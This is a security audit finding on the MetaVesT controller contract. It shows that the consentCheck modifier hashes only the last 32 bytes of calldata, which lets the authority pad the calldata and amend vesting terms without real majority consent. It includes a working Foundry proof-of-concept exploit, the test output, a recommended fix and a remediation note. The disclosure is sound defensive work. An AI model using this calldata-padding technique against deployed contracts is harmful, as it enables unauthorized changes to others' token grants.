The authority can execute majority-consented proposals with arbitrary data
Description
Before making amendments to MetaVesT, the modifier consentCheck first checks if the proposal passes. It then checks if the hash of the last 32 bytes of calldata is the same as the value stored in the proposal.
modifier consentCheck(address _grant, bytes calldata _data) {
if (isMetavestInSet(_grant)) {
// [...]
if (_data.length>32)
{
if (!proposal.isPending || proposal.totalVotingPower>proposal.currentVotingPower*2 || keccak256(_data[_data.length - 32:]) != proposal.dataHash ) {
revert MetaVesTController_AmendmentNeitherMutualNorMajorityConsented();
}
}
else revert MetaVesTController_AmendmentNeitherMutualNorMajorityConsented();
} else {
// [...]
}
_;
}Impact
The parameters of functions that can update MetaVesTs always consist of a grant's address and a variable of value type. Thus, the authority can bypass the data verification by inserting arbitrary data between the address and the last parameter, which will be used to compare with proposal.dataHash. The inserted data will then be decoded as the second argument of the call, allowing the authority to amend MetaVesTs arbitrarily.
The following proof-of-concept script is an example of exploitation:
function testAuditModifiedCalldataProposal() public {
address allocation1 = createDummyTokenOptionAllocation();
vm.prank(authority);
controller.addMetaVestToSet("testSet", allocation1);
bytes4 msgSig = bytes4(keccak256("updateExerciseOrRepurchasePrice(address,uint256)"));
bytes memory callData = abi.encodeWithSelector(msgSig, allocation1, 2e18);
vm.prank(authority);
controller.proposeMajorityMetavestAmendment("testSet", msgSig, callData);
vm.prank(grantee);
controller.voteOnMetavestAmendment(allocation1, "testSet", msgSig, true);
vm.prank(authority);
vm.expectRevert(
metavestController
.MetaVesTController_AmendmentNeitherMutualNorMajorityConsented
.selector
);
controller.updateExerciseOrRepurchasePrice(allocation1, 999999999999999999999e18);
vm.prank(authority);
bytes memory p = abi.encodeWithSelector(msgSig, allocation1, 999999999999999999999e18, 2e18);
(bool success,) = address(controller).call(p);
require(success);
console.log('Modified exercise price: ', TokenOptionAllocation(allocation1).exercisePrice());
}The following text is the result of the proof-of-concept script:
[PASS] testAuditModifiedCalldataProposal() (gas: 2496315)
Logs:
Modified exercise price: 999999999999999999999000000000000000000Recommendations
Instead of checking the last 32 bytes of calldata, consider checking the entire calldata or bytes 36--68 of calldata.
Remediation
This issue has been acknowledged by MetaLeX Labs, Inc, and a fix was implemented in commit a2ba02ae↗.